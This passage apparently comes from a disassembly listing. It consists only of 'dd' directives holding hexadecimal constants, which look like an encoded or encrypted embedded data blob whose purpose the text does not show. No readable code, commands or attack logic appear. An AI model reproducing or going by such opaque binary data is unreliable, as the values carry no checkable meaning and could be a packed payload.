7CD45FF0h, 0C10D076Ah, 4026A4ACh, 1E4BDB97h dd 0B5291A09h, 0C9790F2Dh, 217D2C05h, 1A161CE8h, 5AE94053h dd 0FCF40F03h, 0C81D3E03h, 2BD117h, 1B91ED28h, 4672DAB8h dd 78D43430h, 1C2C2173h, 86DC01C1h, 30DB5AA9h, 67117700h dd 47BFE01Fh, 10181DC5h, 216B1848h, 67032A9Dh, 0C750E2A5h dd 58B862E8h, 980C8CACh, 259C82Bh, 186712C0h, 8EC743E0h dd 1B67609Eh, 0C0305B66h, 5C84ACE1h, 23382720h, 0C42D1496h dd 0C8AE8894h, 0B51302F1h, 9499BCBDh, 10F2103Eh, 665C001Ah dd 7B36A64Fh, 96A0B585h, 29186333h, 0A5B9C995h, 0E3F1099Eh dd 4E80CC2Dh, 4044EC38h, 1D055DE6h, 0D67F162Ch, 7BAC4Eh dd 0F3DB49Ch, 5C5B19E5h, 92E808E6h, 0F7001021h, 229E68D5h dd 807D0092h, 0AF0A714Ah, 0E4515446h, 2A940098h, 0D9604056h dd 8E9BE210h, 5A0A0035h, 0A808CB85h, 4C137190h, 0AE00BA7Ch dd 0E478D552h, 243B005Ah, 208BB95Eh, 0D703B814h, 0A953B53Fh dd 0F94BF083h, 3B3D7124h, 0E0077068h, 7FA3D111h, 0BDD930E1h dd 4232609Bh, 11D0FF75h, 20DAF04h, 0FC10974Fh, 1524C10Fh dd 50E4AA8h, 13C34098h, 28ECA2A6h, 1FE89902h, 81019715h dd 805869D1h, 0F842CDA5h, 4D006CC6h, 3C569D88h, 905734h dd 0E7D1E0E6h, 0B32982Fh, 2A3D7BE0h, 607280B4h, 4D04766Eh dd 7BF0064h, 1967E996h, 1500DE4Ch, 6A9894B8h, 753BFD48h dd 0A8F00075h, 0AF98BB0h, 0E1073847h, 4F25ABE3h, 0F522AC50h dd 4B5D008Ch, 9C2A6BB0h, 102E3A0Dh, 89016F5Ch, 0E5C10ACDh dd 7368EEE4h, 43AE0EDBh, 0FD006364h, 0C5A9FF29h, 0B7FB1CC0h dd 50245E4h, 352D423Ch, 3EDD0B7Dh, 281E99D8h, 4800E868h dd 9A0BD3DDh, 4D1300FEh, 0CF9218DAh, 0F8BD8F5Dh, 931700ADh dd 13965ACAh, 0FF5C544Eh, 4B68006Fh, 9E0BF9E0h, 63DB0E27h dd 0DD4061E2h, 0DC58AE09h, 0E126448h, 0D8A84Ah, 6D1860E9h dd 0E8E007Dh, 0AE9C0671h, 0E8C09FA6h, 0ACDE5E93h, 914C0020h dd 0CD76DD08h, 472E39CCh, 0BD001AE1h, 453BCB53h, 8D8F00EBh dd 0E4314095h, 0D701357Ah, 0B6FF14EFh, 8248E47h, 0D40A54DBh dd 2FB730DEh, 0A0106F50h, 94E7C800h, 1E734C24h, 7E8FF0A2h dd 7CAE0066h, 7DB21CF3h, 0E800BC54h, 68B01D4Ch, 10FAF24h dd 3A9A364Bh, 0CCBBDCF1h, 40929CBEh, 8620E801h, 0B4F5EB9Eh dd 0C676C4h, 54CBE29h, 0EA09609Ah, 2A6ACD00h, 87513227h dd 0CAA70E1Fh, 0C587EF65h, 846BC029h, 814F955h, 98C668h dd 98475A20h, 505C1D1Fh, 180ECCE4h, 20C8B9FFh, 93036B72h dd 340C0B27h, 0B8BE9868h, 22333FEBh, 0A50EF83Dh, 51E07BEAh dd 0CB8E7970h, 520F3FFCh, 83FCB2CCh, 0E0DD3A68h, 78BD08h dd 0EEC759CDh, 0AE831184h, 0A527400h, 60F089E1h, 55DC0034h dd 0F430ADEBh, 0F3007137h, 73DBF9B6h, 0A0AC66h, 361F68B3h dd 0CB37FCC0h, 38D948h, 3DD3EB94h, 0EC93E741h, 92E2006Fh dd 0B6FEC94Ch, 0C70005D2h, 0CD779E30h, 2AF7BE81h, 0ACFCD7h dd 0A18920EFh, 0B5B864E8h, 0E22C6D00h, 0FA6AD5ADh, 2577187Eh dd 0C5AF2087h, 3C2EFB00h, 0BC227D41h, 74E273h, 6A7A507Ch dd 0AD774428h, 2C02D38h, 0A86E2EE8h, 0C9F4818Dh, 70909458h dd 2A6D8076h, 7CB3DDh, 42432302h, 882F4450h, 81830B03h dd 4CCDF46Eh, 3100DFE0h, 0B2F8BBA8h, 0FA02F72Fh, 9004F388h dd 120C4407h, 1CF2B934h, 9BC6C1FCh, 0C0A28C4Eh, 24F513FAh dd 68996338h, 8420D403h, 5FC1C0A0h, 12EA003Fh, 19C3029Eh dd 97D13FCh, 0BA0013B8h, 0CA90288Bh, 53D392h, 3C9359D5h dd 0B90F4D82h, 63E60C00h, 1DD17A5h, 4A760099h, 0CE03BC14h dd 0C4003592h, 0C0F1D9D3h, 9313DCh, 0E1447468h, 2F3077ABh dd 0E47753E8h, 13C21E58h, 4400CFE7h, 12DC0697h, 0DDA100A9h dd 0A2B29802h, 1C075BCAh, 0C3885A9Fh, 0D2C5D90h, 0FC390328h dd 0A762AD93h, 86322F80h, 0C44CB17h, 45916E00h, 74028F8h dd 0E7363EA5h, 7D6B8021h, 720049CCh, 77A914A8h, 380780h dd 250CCE93h, 3791417Fh, 0D1DC030Ah, 2B81B8A6h, 0D9BB2F50h dd 4330D0h, 4D8DC769h, 9B34BD5Eh, 20EA0A00h, 0A1B3F1DEh dd 0E89407BBh, 0E9CC33B0h, 0BA7B0020h, 7E00C3D7h, 257942C2h dd 482D73h, 78203D02h, 715EBDA4h, 0A7563907h, 0A056A2D8h dd 7022006Eh, 0B13C2415h, 0BD00C407h, 27B486EDh, 0F59D6Ch dd 3845CEA7h, 3775D202h, 5E4A880Eh, 2D0E01BEh, 0B661AF7Ah dd 2667F8h, 77E61695h, 0C2A23AFDh, 81315F3Dh, 41C0F50Ah dd 3C340432h, 26CCB04Ah, 9E08E789h, 0E3AD80A0h, 0B09DB8AAh dd 0D0254Ch, 8B3D2187h, 0E0D222FAh, 138FE69h, 81659D0Fh dd 80E66ED3h, 0CA540728h, 0E34C34h, 0A9D6123Bh, 51041092h dd 0C7684600h, 7F5F6477h, 5424F51Ch, 9598A082h, 6861127Eh dd 91A9005Eh, 0C89A57D2h, 35586A00h, 11BCB405h, 6D8C39E3h dd 0F2377D80h, 0AAEDC7ADh, 0B1F3B200h, 5CB9189Ch, 0A855001Ch dd 8F65BAF0h, 62396D21h, 0B4528003h, 5C14DB63h, 0BA7307F9h dd 50CEE6B0h, 0F2A9EAB5h, 0CD8CC500h, 40198407h, 69B407BEh dd 30BCE609h, 0D7369F4Ch, 43B28600h, 0F5327E3h, 264E00CFh dd 712ADD78h, 36008C60h, 0BF287BD5h, 0FA7F62D2h, 0A6490016h dd 38DA12Dh, 2000ADFDh, 0F78ABC73h, 3D3DB5Ah, 0C0213116h dd 0EFD86E10h, 32F31B0Fh, 371A0E98h, 0CFEA00F5h, 0E01D4358h dd 0E3E60091h, 83BF2DBCh, 1900746Ah, 0CAD48EE2h, 5D0676h dd 3C4FBBEh, 0D652880Bh, 0CC212200h, 763871F1h, 34D90096h dd 1679A55Dh, 0C20230A9h dd 326DE957h, 0C026E068h, 0F560005Fh, 0F6361591h, 0D6F62B19h dd 7A0C1E00h, 0DF7E7B78h, 0CAB2002Eh, 9998BF97h, 820764C7h dd 2893FB07h, 0CE898089h, 90D113h, 7EC49192h, 155C64Ch dd 9FE24E3Ch, 0BDC45341h, 5CD2DBC5h, 25A080D8h, 1350A40h dd 20CBB4BFh, 20E7A28Ah, 6F00BB3Bh, 0E5A47EE1h, 0B0B3F96Bh dd 0C42B0094h, 549B9646h, 490066D5h, 74302CDEh, 2627B9F0h dd 723E243h, 0F277572Eh, 7640D2D3h, 0D5003EDEh, 8D83CA76h dd 0F2CAE94h, 58DD7017h, 14353FA2h, 835A9282h, 0BD190C50h dd 26207116h, 0D12E5701h, 987AD029h, 5C1C74F9h, 1E7897FAh dd 2CEFE10Eh, 21E58055h, 6F33D8D4h, 5B03504Fh, 14E0F3DCh dd 0BF07E245h, 0EEE7F048h, 0E8FA9C80h, 2BEF068Eh, 58537404h dd 0E23D2C13h, 0C215901Dh, 0EC200698h, 1879E123h, 51E645DAh dd 591F53F5h, 5A4AAAD2h, 5E2D08BDh, 0FAE102B2h, 24809D14h dd 343F4740h, 9FD74500h, 0E3468F02h, 6AA0018h, 67910BC9h dd 540B88B8h, 500D4Bh, 0ED25E316h, 9E9A0021h, 225A7B49h dd 0D007F3A6h, 79099608h, 0CD3214A1h, 27AF0h, 0F1E50A91h dd 4ED48BFFh, 0D821B900h, 5A587B04h, 3CE1012Ah, 1FBA5328h dd 93BDF064h, 0B8570100h, 0C42F39A9h, 19A6008Dh, 4E27E49Eh dd 0D9036E62h, 5C912928h, 23F2F9EBh, 0F7037F4h, 0E7AAF965h dd 50D8C07Fh, 0A0B6E5A6h, 47FC2A0Eh, 1F0424D3h, 0AF1B9C0h dd 1EAEAAFh, 0E6CF0E7Eh, 0EC56C33Fh, 0F6E80DC4h, 71641E00h dd 81204C21h, 33E752Dh, 0B30FFBAAh, 0A8E8E61Ch, 110057BDh dd 82E86366h, 1FAF5CDFh, 0DFD53C50h, 2F0A072Ch, 9BBBC08Ah dd 0C554014Dh, 0F903DDBCh, 65737DAh, 0AB3EBB3Fh, 0E5DB38h dd 0DAF21721h, 0E4E35B9Ch, 2236DF12h, 8A80445Dh, 0B3A2EB92h dd 189800DBh, 21D4F1C0h, 9480898Fh, 9C86366Eh, 48362078h dd 0E6419049h, 4E5E1812h, 0C840201Fh, 14A7020h, 0A8BED2FDh dd 8B566EE6h, 40D0E4B9h, 6F12187h, 0CCA840D8h, 120F10E6h dd 80873599h, 0EE8192EBh, 7F9FEFBh, 5269822Fh, 0D06637C9h dd 0EB5A5777h, 8767A722h, 7C2B4104h, 1F108364h, 90F0639Dh dd 0E9FACDh, 0E65DA71Bh, 56F1D469h, 209F1533h, 9131B0F2h dd 0ACFF00A9h, 47A5571Dh, 0D2EE0C46h, 0A3552500h, 4084BBCEh dd 9A5B036Dh, 0B5CF0615h, 0B489D6C8h, 42F6EC00h, 50AD1B1h dd 183E00BEh, 1A8A5E06h, 1F06E7F9h, 0EE7AB9A0h, 0C030011h dd 0C4BFB40Bh, 8500464Ah, 8764DBC7h, 0D62F41h, 0EC4EC9E5h dd 7C63679Bh, 0A1B74B01h, 0AD6CE625h, 1F4897D0h, 407A2623h dd 6DC85724h, 563CE9CBh, 0D1698F73h, 1EA440F2h, 76800F99h dd 0D460E6Eh, 852033F0h, 878917EAh, 78105D38h, 319470Eh dd 524BE0F1h, 7DC4BAh, 0FE423A76h, 0CD70FA09h, 8745BB0Ch dd 77EE9D8h, 92EE1C8Dh, 5717E076h, 0D000E7F7h, 0D49C32BAh dd 0E30FC5h, 0C64A79A9h, 0DC505804h, 395CB203h, 0D08502FFh dd 4D99D0h, 44067936h, 6B3F88BBh, 1B3270E1h, 0C37B7C01h dd 0DB16D50Dh, 0F000F221h, 75C591Ch, 97E2E16Ch, 2CE0D37Ch dd 0BD3694E8h, 2128B598h, 9E05C8BBh, 1BBC668Bh, 99D4D040h dd 0A095DAh, 0C5815A02h, 0CCD95EF5h, 0ABFE6E02h, 486886EEh dd 276224h, 52E091A9h, 90B3C4A5h, 1742BF00h, 0C95DEE65h dd 0AF7C02CEh, 2EF61A61h, 0A87BAAC0h, 4232F100h, 0BF3F4686h dd 1020F79h, 57A04ADBh, 0D9C36508h, 0D3E4E50Bh, 4C2B032Fh dd 1154A8D6h, 718D803Bh, 3A72C400h, 0CBFC5186h, 0EBD93CEDh dd 0A84B7400h, 0CD16AE04h, 8089C30Ah, 560E9F97h, 0D77480EBh dd 0E42699h, 5FA51A5Bh, 403187DBh, 7F486A18h, 410420E0h dd 0A428D067h, 31528915h, 2CA34CA0h, 0D6007BF7h, 0B117C9E2h dd 756900DBh, 0D126C550h, 9E006241h, 0A3310353h, 0C44482h dd 6CD7B7E9h, 2DCF97CBh, 8261D83Ch, 908AA84Eh, 58CC494Fh dd 872AE980h, 0EA5EE703h, 73A36204h, 1C804F45h, 6EC684FEh dd 8C8006F0h, 90A75329h, 0CD613416h, 0B01587FAh, 0ACF20BC2h dd 17AF0405h, 0D4006351h, 0D1C725D0h, 0F7D80077h, 0AB241453h dd 9B121E70h, 40B828h, 0FA233440h, 55150772h, 9480EF89h dd 0E9C8801Bh, 0B00A81E5h, 88DFB59Bh, 45157100h, 3A25847Dh dd 94A64630h, 0CCEA8030h, 0F54BF2FEh, 0A83C5500h, 5779745Ch dd 0E5690001h, 0B21C031h, 600CF41h, 0FA50A68Eh, 1D2B1C8h dd 371DDD60h, 0D113487Bh, 0E2A1D0C0h, 8FF06926h, 22391A00h dd 7965DDDEh, 361900F1h, 0EE3D6771h, 34008B60h, 5D6E7FCEh dd 7438315h, 42FD02Eh, 1C004923h, 0F87B90DFh, 88C97E07h dd 0CDB062DCh, 0D8C6FBh, 0EF22CF38h, 0F3DFCA72h, 0DD00ADEEh dd 0A864BACh, 733BBB99h, 467C04AAh, 0C395AE50h, 5BD01DE7h dd 6006DE68h, 6DFDC358h, 7DD92680h, 4D890E5Ch, 667CF9Fh dd 2D23E643h, 9C398190h, 402C200h, 0FCAD0310h, 0A0705087h dd 4916016Fh, 0D1FD271Fh, 37F88112h, 0E2DD9738h, 0B631F0h dd 0AA06B515h, 36D47991h, 83CB9300h, 84D65A5Dh, 87280137h dd 3DAAC804h, 5E42D4DBh, 0FEDCE501h, 0B054B617h, 48807424h dd 796A89h, 39D29787h, 0FA55C7FBh, 489C070Ah, 0B109C6FDh dd 6A4D0053h, 60D32861h, 0EED41126h, 7C00B608h, 0A01C3114h dd 12223865h, 9C3CD7h, 0F554F79Ch, 7902957Dh, 5605A38Ah dd 6C604072h, 1F63093Bh, 4020D874h, 5CC6A99h, 2B986200h dd 0CB2FD740h, 675118F0h, 8ABAB109h, 0FB75E100h, 1F98EC0Ah dd 4F36002Ch, 2BF71A7Ah, 181534CEh, 39C8CEFh, 0BB09FD81h dd 406A8C8h, 6C8E0073h, 0A1A5F8Dh, 0D100A12Ah, 0E44E6392h dd 7A25BC85h, 0C88E009Bh, 0BD5310EBh, 500BB78h, 0E683DA67h dd 0E888BAh, 16217A23h, 17315D25h, 80BD5E39h, 0D36342A7h dd 5DD237Fh, 77AB808Dh, 0F06AC0C8h, 3F038C9Dh, 0B1EEF630h dd 43A2905Dh, 0CA6A1DFAh, 485E4024h, 852E5587h, 0E1307012h dd 0C1751C0Fh, 0E72D7F79h, 6F653887h, 0B3CE64h, 874D98DCh dd 8A74C1ABh, 0EFBA8302h, 80722C3Fh, 0D5A6DDA8h, 0E97A04h dd 991A9FF5h, 0F24E7C96h, 53F1B800h, 5E60A21Eh, 1FCF1C9Ah dd 64E500CDh, 7480C67Ch, 73E07E00h, 0A0B563A6h, 9C570071h dd 7DBFE4C1h, 0DE72B65Ah, 7A7CA558h, 0C6EAA27Bh, 1C2E081Fh dd 2AA061C0h, 4C4895DFh, 1A008027h, 98CAE0EEh, 0A70CBFD5h dd 0A093F17Bh, 0D29400ECh, 0BB97E46Dh, 764DD408h, 0E11008Ch dd 844158CCh, 0D29D003Ah, 4495B2FCh, 0A3003C86h, 42CA15D7h dd 0F9965A5h, 29F5B592h, 0FBC78780h, 3A481E68h, 0C38E0070h dd 0E64F6DF0h, 94B0FCh, 686F82E0h, 0E450EB84h, 7BF671C0h dd 183196Ah, 68BE33C3h, 0CB4EEB86h, 7DF0210Bh, 0DDA4A76Ah dd 0E4AB8B30h, 0E8B5E87Fh, 24F0182Dh, 25EB216Bh, 736A1CA0h dd 68B80A0Eh, 4F809CCBh, 0E7858290h, 32EC26AAh, 8B5900DDh dd 0D7E18D68h, 2A00E6EAh, 92DE5B90h, 122F66Fh, 4A5ABC6Bh dd 0F4C0860Dh, 8B01179Bh, 0AA124563h, 0EFCCEB5Fh, 236418C5h dd 0E0A039E3h, 0B014CB0Bh, 0E6DC2063h, 636A902Bh, 0D372905Bh dd 617DB6A3h, 4FBBFE00h, 394EFD21h, 619E1EBEh, 87724069h dd 1520C056h, 649AF90Bh, 5B010A5Ah, 8C79A43Dh, 89D24B04h dd 58B710C0h, 11A800AFh, 5AED71F9h, 9803D56Dh, 0B0AABA63h dd 15A1B049h, 0D0800E66h, 0B70032C6h, 0B6895E3Dh, 80128F3Eh dd 76EDAAABh, 77B5CFA7h dd 5808020Dh, 5110B231h, 4559D040h, 81CD2400h, 0C5FA1B7Ch dd 0BF860090h, 0A772BAFCh, 0A500DB50h, 0C6631E0Bh, 11735C0h dd 62B6D84Dh, 0D87A61FEh, 0D7006B7Eh, 0F114B7Bh, 50AFFB3Ch dd 255F9DC1h, 0A83E8241h, 0C5276E01h, 697FA593h, 0B606198Eh dd 9408AD29h, 0CFEB0CD0h, 0D0BAEF08h, 0B6BDAC04h, 6E809168h dd 7C7EF9C4h, 8CCF09E9h, 1A004BF6h, 9E6661E6h, 3AB7980Eh dd 974F6306h, 0E340008Fh, 0F95C0C10h, 0EB24FC99h, 610AA0E7h dd 0AF00A165h, 0BAF158EAh, 779902FAh, 0A6C3EE13h, 0C275209Eh dd 0DF620C8Ch, 4D20C888h, 2B2F6712h, 0AC97C820h, 68B9262Ah dd 0F09003C0h, 98A30BA2h, 0B4A42100h, 0FBB1112Ah, 3A2F00E9h dd 640C4707h, 7D7A5F48h, 3DEC010Eh, 0B44BC08Bh, 506F4D49h dd 0B41A430h, 40F71255h, 77DE9400h, 760CE0D4h, 61ED2B60h dd 28F83ECBh, 31703F03h, 0E9D84913h, 5A15779Ch, 1CC15EAh dd 0E2032605h, 39B283D8h, 0AA302DC8h, 68C31C2Ah, 9491610Bh dd 2AB2387Fh, 0FA80330Ah, 213B80DCh, 53C087F2h, 48431607h dd 967012EDh, 1FEAF8Eh, 394CE311h, 0D9E22162h, 0F5399D99h dd 0A5DEC5C7h, 3FB8031Fh, 72A9008Eh, 0C342658h, 6B19C3A3h dd 8908AB13h, 0A0D32184h, 0DD998026h, 0F9B89C88h, 9024E800h dd 0B52DD43Eh, 0E73D03C6h, 0A3D3F751h, 0BDB6A7D0h, 48599324h dd 0A9B1C2C7h, 0EE189FE4h, 0C9A088h, 0C27D4AB6h, 0E0E1F8D7h dd 0C68824h, 20976D00h, 0C078D011h, 66FDAA10h, 24E7CFC2h dd 2E0FC784h, 0C3E05F4Eh, 30E8EB6Fh, 0A7216B09h, 4A004E37h dd 0F8F544DDh, 691055h, 28150178h, 0DC6FDE3Bh, 2AF48050h dd 183EB44h, 6E37B0DFh, 0D1B33695h, 57BDD098h, 64F6081Fh dd 0BB351D01h, 71BADE50h, 39DC660Ah, 15B10144h, 4EAF513Ah dd 94078488h, 891A6B30h, 0DD86C600h, 9F40A2F6h, 0A1E2602Bh dd 0A8B47068h, 0D7DE411Ch, 23735901h, 0F29FAE77h, 6C0C8906h dd 6AA97800h, 0BD4894DFh, 547204C8h, 0F0818143h, 90DE93C4h dd 10B6B94Ch, 0E0A7E4ACh, 0B6C09Fh, 960232EFh, 39A03CA3h dd 41E8F39h, 7F093814h, 9531B091h, 0F1123C20h, 0F48EB183h dd 78007663h, 0B861077h, 0F099F1h, 3A9B2884h, 7042660Fh dd 40C3F426h, 440814A4h, 0DC8003C5h, 18166E77h, 982113F5h dd 7F3063B1h, 0E0211237h, 0BDD84934h, 6036B804h, 23BC2AAFh dd 9A11A368h, 2AB73700h, 7EB14969h, 0DCB46E1Bh, 0B88895D1h dd 1FA40352h, 0E706F5DFh, 5EC83912h, 7AE23440h, 116CEB5h dd 0EE14841Ah, 0CEA7867Fh, 6467F8C8h, 0B68CEB00h, 0DB1A3FBCh dd 0DABB0033h, 3C2EECB0h, 6304B3B8h, 62DA95Ah, 0A7C2C490h dd 303890B5h, 7718AF5Dh, 92353CB6h, 62F0816Dh, 2B31CA0Ch dd 4A93408Ch, 800DD7Bh, 200649AFh, 502D0F8Ah, 135D9091h dd 14826C14h, 181080FCh, 64070B9Dh, 82A30FD6h, 6887E65Ah dd 0FFF59104h, 0B0E87185h, 698E0215h, 0C8412721h, 84718BFh dd 0C2E06C4Eh, 0A44073C4h, 0C0104E30h, 946149E4h, 61689178h dd 449021B1h, 0FF120884h, 23342E04h, 8F670074h, 5C646C46h dd 7F0F260h, 0CF1441h, 50207BAFh, 0E810E408h, 0F8385C58h dd 6008C9Fh, 0F4DB2F6Ah, 24C4C74Dh, 10787222h, 0CC8F0B87h dd 5AA40030h, 900D2865h, 93649C2Ch, 8B770D22h, 6EC32F0h dd 0F6F7FC0Bh, 0E18F06B0h, 0A06CA010h, 39E8E230h, 0DEEE4A67h dd 54880331h, 700694D3h, 6A1558E9h, 444C9A30h, 0BD01B8DAh dd 64068926h, 60A4F8E8h, 4200DEA8h, 4A61755Eh, 6193B0CFh dd 300754FFh, 8E788468h, 0D8931F4Ch, 1D7F04Bh, 0F04A1EE2h dd 512C8590h, 8914C1ABh, 0DF544178h, 0BCBC5023h, 0F2EDE57h dd 6004C169h, 0F09851B3h, 0ADA501C8h, 0B8611DBFh, 658470C4h dd 0B6DEA1C0h, 7C3EB14h, 0A746F358h, 0C7640182h, 0A8037F9h dd 0FC04DF69h, 35A05798h, 0AFDC196Eh, 2308B975h, 0FE00688h dd 0A38090A9h, 49A0107Ch, 6DC20083h, 8B8FE394h, 0F8F7497Fh dd 0C05BFB1Fh, 0BFF6AC7Dh, 0A600A0ECh, 924BC728h, 0A4896B2h dd 0F4CFFC08h, 60BD44C4h, 235E4E31h, 6D1132E0h, 4E3AA600h dd 7C1083DBh, 0A1122AB0h, 840E52Ch, 0BB82A99Ah, 0F4850088h dd 79DF463Dh, 40093CE6h, 82F336C9h, 287605A4h, 35A0FCEh dd 8437B727h, 4DD8A4F0h, 0EEC25B0h, 23207C5Ch, 265100B1h dd 0C2FB0C49h, 0D87E4486h, 0E5265904h, 0C862C0Ch, 56A07E9h dd 2BF607C5h, 0EC6E1010h, 2C80FB20h, 47C42B4Bh, 0CF081C77h dd 20115F60h, 39C8FFFh, 9B8AD95Ah, 80E035B7h, 0B5004C07h dd 0E137A95Fh, 26FA1572h, 80F86ED7h, 54DDE49h, 0FB547F77h dd 0C1FC43D0h, 3A4F4100h, 0F45FF152h, 85DD02CDh, 35D2B7D4h dd 76C2FCC2h, 0C0C56805h, 10AB8722h, 274CF700h, 8D0783E0h dd 6613DEFh, 48CB1A82h, 0A04451B4h, 90E25A18h, 12DC5441h dd 4CABC6Bh, 0D19CDFB0h, 807C2B74h, 1CFEFFF1h, 18A7B81h dd 0CCF59D7Ah, 30DC4C60h, 0EF405DE0h, 0E014100Bh, 0B6007C9Ah dd 3878F0B9h, 4D4C6EA0h, 40003C13h, 1C9A2D14h, 0CA3AF28Fh dd 0D2A71428h, 552A3DD4h, 656C41A8h, 895902E1h, 6FF8AEE0h dd 6DDCC4E2h, 4BF69080h, 9EBF26C1h, 6B9103D4h, 400C6CA9h dd 0E18D755Ah, 0E6DA1F05h, 5468431Dh, 8878721Bh, 0FD819B04h dd 0B0C2AFC3h, 2AA93030h, 1368C209h, 3FE8450Bh, 0AE2AB180h dd 23B5792Eh, 1D8BE903h, 9B08EBDBh, 0DFC008B4h, 5039628h dd 0B23B1664h, 0C3160E9h, 745B5CAAh, 0C30F5A23h, 17E4A4B6h dd 93F461h, 0F6B6CA9Dh, 7AC60B60h, 98F9518h, 4F9233E5h dd 0DE8606ACh, 61FB5EDFh, 1164ED60h, 208249B5h, 0EFDAE4ADh dd 942068C0h, 59146380h, 9445BC28h, 30398802h, 0B7112AAEh dd 9988AB68h, 2AB63687h, 413170C0h, 80271806h, 6AA5D95Eh dd 447A3B01h, 1EA0ED08h, 0D606BC40h, 0E47016B1h, 0A01051E3h dd 0BAC40104h, 883CCE77h, 91BBC06Eh, 570FEC2Dh, 0E40DC03Fh dd 1090D5E4h, 0E686910h, 0BA9163A2h, 4E600256h, 0B0C9F2B3h dd 9B0183Bh, 9B68BD2Ah, 3000001Ch, 0FDF2AB8h, 0AD0EB29h dd 8B9DE1BFh, 9E46749Ch, 0B2056E00h, 44C1D360h, 0BDBB8700h dd 327F068Eh, 8464D5E0h, 0CBFC071Fh, 84827D63h, 0FC2993DDh dd 313717E3h, 305522B4h, 0B700F28Fh, 0AD5D3EE2h, 59146E7Ch dd 0DC50B0A8h, 399D42DDh, 2C62CAB4h, 22F47066h, 0D7008B43h dd 241BD51Dh, 399AFh, 49B657C4h, 316FBB5Ch, 16B2B904h dd 70CBB432h, 450F0475h, 91E36909h, 0ECBE466Ch, 50C734Ah dd 795F7F5Eh, 0CFFE002Dh, 0B2B85471h, 0B40241A5h, 0E0E4AF50h dd 81859A0h, 65098713h, 0C064CD42h, 87E0D5DFh, 84EA0C28h dd 21705A31h, 6872E1E2h, 0E352610Eh, 0A9B8372Ah, 18F3D1DCh dd 6427145Ah, 3C4CA72Eh, 0B805D414h, 638011h, 576B6634h dd 2086A74h, 0B4228AE7h, 0D880FA40h, 9BA50FD8h, 0B4302181h dd 440DD07h, 0D08E4C77h, 88C0B734h, 10ACE832h, 78A47B0Dh dd 4684D894h, 2023B4CAh, 0F661ACDFh, 1DB06314h, 0A4250354h dd 0BC61A7FCh, 0CFFC42B6h, 0A665FC59h, 0EDBFBC00h, 6991393h dd 911F6EFh, 0DE12D0AFh, 88202C26h, 0FA398DA6h, 2090B854h dd 0BA0BE685h, 3E3B1h, 8B26E8D9h, 9A30C04Ah, 58E22E86h dd 0D0C4112Eh, 1369D380h, 1891A3CAh, 20AD52AEh, 0F0805949h dd 187C94h, 25EC0812h, 0C49FACD1h, 57E4680Ch, 0F8EBE073h dd 0A4C81F85h, 374C0B9Eh dd 7FE3F8A0h, 78585A9Fh, 0B88BC8h, 5706709Ch, 0FEC988Bh dd 26EA08DAh, 0C910C041h, 0C5C08085h, 58829EAEh, 895C6121h dd 0C8FC728Dh, 1027F58Ah, 5A082492h, 0DDF8240h, 70051D36h dd 0ACA2D88h, 1F7AA680h, 90C84B4Eh, 88D9FCA4h, 0BA4AF03h dd 0ECE4E2C4h, 0AA2D9058h, 68C0447Eh, 0CB4A9C65h, 74DD00DEh dd 0C8CA216Dh, 0E11E7F5Ch, 8EC10C45h, 8DE9C457h, 0E0FFEF0h dd 0E8794E60h, 0EC40F18Fh, 0C0DBCA08h, 5BF5DC0Eh, 41C5EC7Fh dd 0B50300F7h, 8DE06E0Eh, 2A7EA7D3h, 70B94F0Eh, 0AD2C80E3h dd 5F3B43h, 0D8609A03h, 5D8F0266h, 5C19BE00h, 4F382456h dd 83BA033Fh, 1063BD5Eh, 84741801h, 75F0CD69h, 41E12Bh dd 0E8D22C18h, 0DFB7FF0Ch, 1588ACh, 2DCA0FD1h, 1E1195A5h dd 0FFCCA806h, 20AD57h, 0D513F541h, 0CF66D064h, 0BAE46200h dd 0FA2CEDE6h, 8B1C0707h, 90D846C2h, 45D69860h, 0E88CB60h dd 6119C5DBh, 49E4F8F3h, 0ACF4D055h, 0D6F1E600h, 9F01CDC2h dd 3B9E003Dh, 4D35F054h, 0F1F423Eh, 5A00A2F5h, 0D5F74B5Eh dd 12D0FF1h, 1D208799h, 6658B289h, 0FA009BF6h, 16B3BD2Fh dd 0F2CCA62Dh, 4DE6018Dh, 0A2995B2Ch, 0DB98C5F5h, 173A61C0h dd 55398F01h, 0DD3229F9h, 996D088Ch, 0E1073620h, 852D8216h dd 0CFECD300h, 0B8750107h, 3D21185Dh, 1288EA2h, 0D591D8D6h dd 350A000Ch, 3045C3D8h, 443C8972h, 929600A3h, 0A516C8B8h dd 9BC618E9h, 5A346901h, 0AEFD9EC0h, 6C4AE550h, 0CB0B80Dh dd 0E802F643h, 0E5399516h, 0C106B31h, 5D00164Fh, 33CF75E7h dd 0C5A7E38h, 0CBFA39C5h, 80AC9D51h, 94165702h, 19FA2D39h dd 0E237106Eh, 9B240B16h, 0AD01FF4Ch, 41153FD4h, 7052758Dh dd 7701F533h, 0C2DD9C08h, 0A4E011BDh, 29D800C8h, 35BF4A96h dd 0FE009893h, 6C888490h, 1CE7EEEh, 0E4C194DFh, 0ECD0F913h dd 4AFA4543h, 80231E39h, 0D3115B51h, 0EB12C8h, 96BAAD74h dd 243F92E6h, 0F61F942Fh, 9FDA0F25h, 74851DC0h, 3B004C57h dd 0F1039CB0h, 0EE68B6Eh, 0E889BDBCh, 0B89FDD00h, 7D0E4374h dd 0C06B69B5h, 5E58A9Bh, 84B9003Eh, 0D2088F72h, 3700BCB0h dd 5AFDE8ABh, 2B2242Dh, 0A65F92E1h, 66E07D96h, 0E30E81C5h dd 80CB0597h, 9844585Ah, 548B0040h, 2A53675Fh, 51033D5Eh dd 6C61F93Bh, 0FA200742h, 60A0A1B8h, 0A6ACD622h, 90642C00h dd 835935F4h, 0CD2E003Ch, 401EFC12h, 3B034107h, 8D42855h dd 8CC5D8C4h, 0EC8500F0h, 755A7358h, 0A006586h, 34E1BA74h dd 998D36h, 0F029A684h, 0F31E937Fh, 0EA094A00h, 7B4775CAh dd 14BA00B9h, 41782681h, 0AE00AD93h, 774BFD1Dh, 244F9Eh dd 0E12E0B54h, 4352D73h, 30019500h, 600E287Bh, 226800FCh dd 1781712Eh, 0A41EB450h, 0FF801D31h, 0EBBE492Ch, 24BA0057h dd 8B37834Ah, 610725CBh, 2B048ED9h, 46F3C670h, 7E620E5Bh dd 6806753h, 52A3161Ch, 8E023490h, 5B7B54DCh, 69AB4003h dd 6C3C0E62h, 0F3461E64h, 60050D9h, 60DE5DE7h, 4CA643h dd 5797896Ah, 8145F85Fh, 3E5058h, 0C7745837h, 91FE12h dd 6BFF4442h, 227334EBh, 50726800h, 7DCBD49h, 8D1200D2h dd 4F998E4Dh, 930040E2h, 0D0E3336h, 6F3713h, 78ACD57h dd 0B5C7D667h, 767CFAE2h, 71DCCB00h, 9BB1A2AAh, 